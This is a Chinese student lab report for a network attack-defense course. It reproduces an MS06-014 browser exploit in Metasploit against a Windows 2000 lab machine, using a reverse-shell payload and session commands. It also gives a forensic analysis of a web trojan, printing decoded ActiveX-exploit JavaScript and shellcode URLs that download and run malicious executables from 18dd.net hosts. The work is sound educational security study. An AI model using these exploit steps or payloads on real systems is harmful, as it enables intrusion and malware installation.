20252906 2025-2026-2 《网络攻防实践》实践十一报告
1.实验内容
本次实验主要分为Web 浏览器渗透攻击实践和网页木马攻击场景取证分析两部分,围绕网页木马构造、浏览器漏洞利用、远程控制实现及攻击过程分析展开。
一、Web 浏览器渗透攻击实践
- 以攻击机与 Windows 靶机为环境,开展浏览器漏洞渗透实验,完整复现网页木马攻击流程:
- 利用 Metasploit 框架,选用MS06-014 浏览器漏洞渗透模块,构造针对 Windows 系统浏览器的漏洞利用载荷。
- 配置远程 Shell 类 Payload,设置攻击机监听地址与 URL 路径,生成包含恶意脚本的网页木马。
- 在靶机浏览器中访问恶意 URL,验证网络连通性并触发漏洞利用过程。
- 攻击机通过 Metasploit 捕获成功建立的远程控制会话(Session),实现对靶机的远程命令执行与系统控制,完成一次完整的浏览器渗透攻击。
二、取证分析实践 — 网页木马攻击场景分析
对上述浏览器渗透攻击过程进行取证与复盘分析,重点总结:
- 网页木马的构造原理、恶意脚本特征及传播方式。
- MS06-014 漏洞被利用的触发机制、浏览器执行恶意代码的过程。
- 攻击机与靶机之间的网络通信行为、会话建立过程及远程控制特征。
- 从日志、网络流量、系统行为等角度,梳理网页木马攻击的完整链路,形成对浏览器漏洞攻击场景的整体认知。
2.实践过程
①选用 Kali Linux 系统中的 MS06-014 浏览器漏洞渗透攻击模块
在攻击机 Kali Linux 终端中执行命令,启动 Metasploit 渗透测试框架:
msfconsole

在攻击机终端中输入模块搜索指令,检索 MS06-014 相关漏洞利用模块:
search MS06-014

输入调用模块指令,加载检索到的 MS06-014 漏洞攻击模块:
use 0
执行命令后,成功切换并启用该浏览器渗透攻击模块。输入命令查看该漏洞模块支持的有效载荷:
show payloads

输入命令设置攻击载荷,选用反向远程 Shell 类型载荷:
set payload generic/shell_reverse_tcp

调取当前漏洞攻击模块以及所选反弹 Shell 载荷的全部配置项、必填参数与默认参数信息,核对本机监听地址、恶意访问端口等关键空缺参数,明确后续需要手动配置的攻击必备参数:
show options

配置攻击机监听地址、访问端口等核心服务参数,参数核对无误后,执行漏洞攻击启动指令,自动生成恶意网页木马并开启本地监听服务。程序运行完毕后,终端成功生成专属恶意木马访问链接: http://192.168.200.3:8080/qhhOE9CIT 。
执行命令:exploit
开启 Windows 2000 靶机自带浏览器,首先通过 ping 命令测试靶机与 Kali 攻击机之间的网络连通性,确保两台主机网络互通。随后直接在靶机浏览器地址栏中输入上方生成的恶意网页木马 URL,访问恶意链接,触发浏览器漏洞,等待攻击机捕获远程会话。

切换回 Kali 攻击机终端,可观察到已成功与 Windows 2000 靶机建立渗透连接会话。
执行会话查看命令,列出当前所有已建立的连接,验证会话状态是否正常有效:
sessions

执行会话交互命令,进入编号为 1 的控制会话,实现对靶机的远程渗透操作:
sessions -i 1
成功进入会话后,即可在攻击机中通过命令行对靶机 Win2k 执行各类远程控制指令。

在 Kali 攻击机中查看当前渗透攻击状态,确认已成功与靶机建立远程控制会话。通过已获取的 SESSION 会话,在交互终端中对靶机执行系统命令,验证远程控制效果。
执行网络信息查看命令,获取靶机网络配置信息,确认已实现对 Windows 2000 靶机的完全控制,本次浏览器渗透攻击实验完成:
ipconfig

任务二:取证分析实践—网页木马攻击场景分析
在实验开始阶段,先访问网页文件 start.html,该页面中已给出恶意网页跳转地址 new09.htm,为后续浏览器漏洞触发做好前期准备。

对缺失的 new09.htm 文件内容进行合理推断,其核心恶意代码如下:
从中提取出两个关键 URL 地址并进行分析:
地址:http://js.users.51.la/1299644.js
性质:网站流量统计脚本
分析结论:属于正常第三方统计代码,无恶意行为,可跳过进一步分析。
地址:http://aa.18dd.net/aa/kl.htm
性质:核心恶意加载页面
分析结论:为网页木马关键载体,后续漏洞利用代码均由该页面加载执行。
按照实验要求,对解密得到的恶意地址进行 32 位小写 MD5 哈希计算,哈希值作为文件名,用于在 http://192.168.68.253/scom/hashed/ 下载对应文件。
通过 MD5 在线加密工具计算可得:
http://aa.18dd.net/aa/kl.htm
对应的 MD5 值为:
7f60672dcd6b5e90b6772545ee219bd3

根据实验步骤,对提取到的两个地址分别进行32 位小写 MD5 哈希计算,结果如下:
地址:http://js.users.51.la/1299644.js
MD5 哈希值:23180a42a2ff1192150231b44ffdf3d3
地址:http://aa.18dd.net/aa/kl.htm
MD5 哈希值:7f60672dcd6b5e90b6772545ee219bd3

对解密得到的地址进行类型判断:若为网页或脚本文件,则继续逐层解密分析;若为二进制可执行程序,则采用静态反汇编或动态调试的方式开展恶意代码分析,重复上述流程直至所有关联文件分析完毕。
在实验对应目录中找到上述两个 MD5 值命名的文件,以文本编辑器方式打开查看内容。
其中文件 23180a42a2ff1192150231b44ffdf3d3 为常规网站流量统计脚本代码,经判定不属于网页木马相关恶意文件,可排除恶意分析。

继续打开另一个 MD5 命名的文件进行分析,经查看可知,该文件中的恶意代码采用了XXTEA 加密结合 Base64 编码的方式进行隐藏。
针对此类加密方案,核心破解思路是定位并获取对应的加密密钥,通过密钥即可完成密文解密,还原出原始的恶意脚本内容。


在对该加密文件进一步分析时,定位到解密函数 xxtea_decrypt 的第二个参数即为解密密钥,其十六进制形式为:
\x73\x63\x72\x69\x70\x74
借助十六进制字符串解码工具对该密钥进行转换,最终得到密钥原文为:script。
获取密钥后,即可使用 XXTEA 解密算法对加密内容进行完整解密,还原出恶意脚本的真实逻辑。

访问 XXTEA 在线加解密工具站点 https://cycy.fun/xxtea/ ,在工具对应输入框中填写密钥:script,并将文件7f60672dcd6b5e90b6772545ee219bd3内的全部内容作为密文粘贴至密文区域,执行解密操作,完成对该 JavaScript 文件的解密,还原文件原始代码。

使用密钥script完成 XXTEA 解密后,得到的结果为十六进制格式数据。接下来需借助十六进制转字符串工具,将该十六进制内容进一步解析,还原出原始数据。

将解密得到的十六进制数据进行十六进制转字符串转换,即可还原出可阅读的原始脚本或可执行文件内容,继续开展后续恶意代码分析工作。

对解密还原后的 JavaScript 代码进行分析可知,该网页木马通过检测客户端环境,尝试利用多个常见应用软件漏洞进行渗透攻击,涉及的漏洞如下:
Adodb.Stream:微软数据库访问对象漏洞
MPS.StormPlayer:暴风影音漏洞
POWERPLAYER.PowerPlayerCtrl.1:PPStream 漏洞
BaiduBar.Tool:百度搜霸漏洞
代码最终会根据漏洞存在情况,分别加载三个恶意 JS 脚本并下载一个可执行压缩包:
http://aa.18dd.net/aa/1.js
http://aa.18dd.net/aa/b.js
http://aa.18dd.net/aa/pps.js
http://down.18dd.net/bb/bd.cab
接下来对恶意脚本文件进行逐层分析。首先打开对应 1.js 的 MD5 命名文件:
5D7E9058A857AA2ABEE820D5473C5FA4
使用解密工具对其进行解码转换后,得到如下完整恶意代码,按功能分段说明如下:
页面初始化与 Cookie 标记
function init(){
document.write();
}
window.onload = init;
if(document.cookie.indexOf('OK')==-1){
功能说明:
页面加载时执行 init 函数。
通过 Cookie 判断是否已执行过恶意逻辑,避免重复攻击。
尝试利用 Adodb.Stream 漏洞
try{
var e;
var ado=(document.createElement("object"));
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")
}
catch(e){};
创建 ActiveX 对象,尝试利用 Adodb.Stream 漏洞。
利用漏洞获取文件操作权限。
设置 Cookie 并根据漏洞结果加载脚本
finally{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
if(e!="[object Error]"){
document.write("<script src=http://aa.18dd.net/aa/1.js></script>")
}
设置有效期 1 天的 Cookie,标记系统版本。
若 Adodb.Stream 漏洞利用成功,则加载恶意脚本 1.js。
检测并利用暴风影音漏洞
else{
try{
var f;
var storm=new ActiveXObject("MPS.StormPlayer");
}
catch(f){};
finally{
if(f!="[object Error]"){
document.write("<script src=http://aa.18dd.net/aa/b.js></script>")
}
}
尝试创建暴风影音 ActiveX 对象。
存在漏洞则加载 b.js。
检测并利用 PPStream 漏洞
try{
var g;
var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");
}
catch(g){};
finally{
if(g!="[object Error]"){
document.write("<script src=http://aa.18dd.net/aa/pps.js></script>")
}
}
检测 PPStream 播放器控件漏洞。
存在漏洞则加载 pps.js。
利用百度搜霸漏洞下载恶意程序
try{
var h;
var obj=new ActiveXObject("BaiduBar.Tool");
}
catch(h){};
finally{
if(h!="[object Error]"){
obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)
}
}

对文件 3870C28CC279D457746B3796A262F166(对应恶意脚本 b.js)进行分析后可见,代码中出现了以 p、a、c、k、e、d 为核心参数的加密结构,这是典型的 JavaScript 混淆加密(packed 加密),常用于隐藏恶意代码逻辑。

打开在线解混淆工具网站 https://matthewfl.com/unPacker.html ,将 b.js 对应的加密代码完整粘贴至工具输入区域,使用 UnPacker 对该 p.a.c.k.e.d 混淆脚本进行解密还原,即可得到原始恶意代码,继续分析其攻击行为。

解密后的 shellcode 中包含经 Unicode 编码的恶意地址字符串
%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578。
按照低字节在前、高字节在后的规则从右向左逆向转换为 ASCII 字符,最终还原出下载地址:
http://down.18dd.net/bb/bf.exe
该脚本同样会在利用漏洞成功后,远程下载恶意可执行程序 bf.exe 并执行。
接下来对第三个恶意脚本文件 pps.js(对应 MD5:5F0B8BF0385314DBE0E5EC95E6ABEDC2)展开分析。

对 pps.js(MD5:5F0B8BF0385314DBE0E5EC95E6ABEDC2)进行代码查看,发现文件内容由大量八进制编码字符构成,属于典型的代码混淆手段。

对上述 Unicode 编码字符串
%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u7070%u2e73%u7865%u0065
进行解码后,得到恶意程序下载路径:
http://down.18dd.net/bb/pps.exe
至此完成对第三个恶意脚本 pps.js 的分析。
接下来对第四个文件 bd.cab 进行分析。该文件为 Windows cabinet 压缩包格式,使用解压软件对其进行解包操作后,可从中提取出核心恶意可执行程序:bd.exe。

经过完整的网页木马取证分析,共提取出四个恶意可执行文件下载地址
恶意脚本 最终下载地址 地址 MD5 值
1.js http://down.18dd.net/bb/014.exe CA4E4A1730B0F69A9B94393D9443B979
b.js http://down.18dd.net/bb/bf.exe 268CBD59FBED235F6CF6B41B92B03F8E
pps.js http://down.18dd.net/bb/pps.exe FF59B3B8961F502289C1B4DF8C37E2A4
bd.cab http://down.18dd.net/bb/bd.exe
随后使用 md5sum 工具在本地对这四个 EXE 文件进行校验:
bash
运行
md5sum bd.exe
md5sum 014.exe
md5sum bf.exe
md5sum pps.exe
结果显示:四个文件的 MD5 值完全相同,均为:
1290ecd734d68d52318ea9016dc6fe63
虽然木马通过不同漏洞、不同路径下载了文件名各异的可执行文件,但014.exe、bf.exe、pps.exe、bd.exe 本质上是同一个恶意程序,只是使用了不同文件名进行分发,目的是提高入侵成功率与隐蔽性。
根据 MD5 校验结果,014.exe、bf.exe、pps.exe、bd.exe 四个文件的字节内容完全一致,仅文件名与下载链接不同,因此只需对其中一个样本进行深度分析即可。
实验选择 bd.exe 作为分析样本,在 Windows XP 环境中执行如下操作:点击:开始 → 所有程序 → 脱壳和加壳工具 → 超级巡警虚拟机脱壳器,CN将 bd.exe 载入工具进行虚拟机脱壳处理,脱壳完成后分析文件特征,可确定该恶意程序使用 Delphi 语言编写,为后续静态反汇编与动态调试奠定基础。

在 Windows XP 中打开IDA Pro Free,对脱壳后的bd.exe进行反编译。
在字符串窗口中查找到20 个恶意下载链接及其他可疑行为,确认该程序为Delphi 编写的下载者木马。

该程序会向\bd\目录释放多个木马副本与执行模块,是典型的Dropper/Loader 下载器。

从运行行为来看,该恶意程序通常会借助用户目录或系统目录完成文件落地、开机自启与长期驻留。代码中出现浏览器相关进程标识,表明其具备进程劫持或代码注入的典型特征。
结合行为逻辑判断,该样本很可能通过注入资源管理器或 IE 浏览器进程,或是直接冒用正常进程名称启动,以此实现隐蔽执行与长期控制的目的。

任务三:攻防对抗实践—web浏览器渗透攻击攻防
攻击方借助 Metasploit 框架,分别构造针对至少两种网页客户端软件安全漏洞的渗透攻击载荷,对代码做混淆处理后整合为单一恶意 URL,再通过伪造钓鱼邮件发送给防守方。
防守方对邮件中的挂马链接进行提取,逐层解除混淆并还原原始渗透代码,进而分析出代码所针对的具体浏览器客户端软件及其对应的安全漏洞。
攻击方重复上述攻击流程,生成攻击链接: http://192.168.200.3:8080/qU2pVkLW46 ,并将该链接推送至靶机实施渗透。

在靶机win2k中访问这个地址

返回 Kali 攻击机,查看终端状态,已成功与靶机 Windows 2000 建立渗透会话。

靶机查看页面的源代码

使用在线 HTML 压缩格式化工具( http://www.esjson.com/htmlformat.html )对代码进行处理。该恶意代码通过document.location调用执行攻击载荷,同时附带可执行文件qbmQGnavFvVkfpRAEeQsT.exe。该文件会先下载至靶机,随后在后台自动运行,且文件名随机变化,以此规避杀毒软件检测。

打开靶机任务管理器,可查看到 qbmQGnavFvVkfpRAEeQsT.exe 进程正在运行,该进程即为攻击者植入的恶意程序。

恶意代码利用 RDS.DataControl 控件(CLSID: BD96C556-65A3-11D0-983A-00C04FC29E36),通过 CreateObject() 创建 WScript.Shell、ADODB.Stream 等系统对象,实现远程下载与执行恶意程序。
该 CLSID 对应 MS06-014 漏洞,是本次网页挂马攻击的核心利用点。

三、学习中遇到的问题及解决
问题描述:一开始没有给木马程序完整脱壳,直接把带壳的bd.exe放进IDA反编译,代码错乱、字符串无法正常查看,找不到恶意下载链接和进程注入相关特征。
解决方法:先用超级巡警虚拟机脱壳器对木马样本完整脱壳,消除程序加壳保护,再重新导入IDA,成功调出字符串窗口,顺利查到内置的恶意下载链接和进程伪装、进程注入相关代码。
四、学习感想和体会
本次实验完整复现了基于MS06-014漏洞的网页挂马攻击全过程,从恶意JS代码分析、代码解密脱壳、木马逆向分析,到利用Metasploit开展渗透测试,最后排查木马运行行为,我收获了很多实操知识,也理清了网页木马完整的攻击链路。我掌握了常见恶意JS代码的解密方法,学会区分pack加密、八进制编码两种主流代码混淆手段,能够借助在线工具完成代码解混淆,还原隐藏的恶意下载链接,看懂网页木马利用各类ActiveX控件漏洞发起攻击的原理,也彻底弄懂了本次实验核心的MS06-014漏洞攻击机制。

浙公网安备 33010602011771号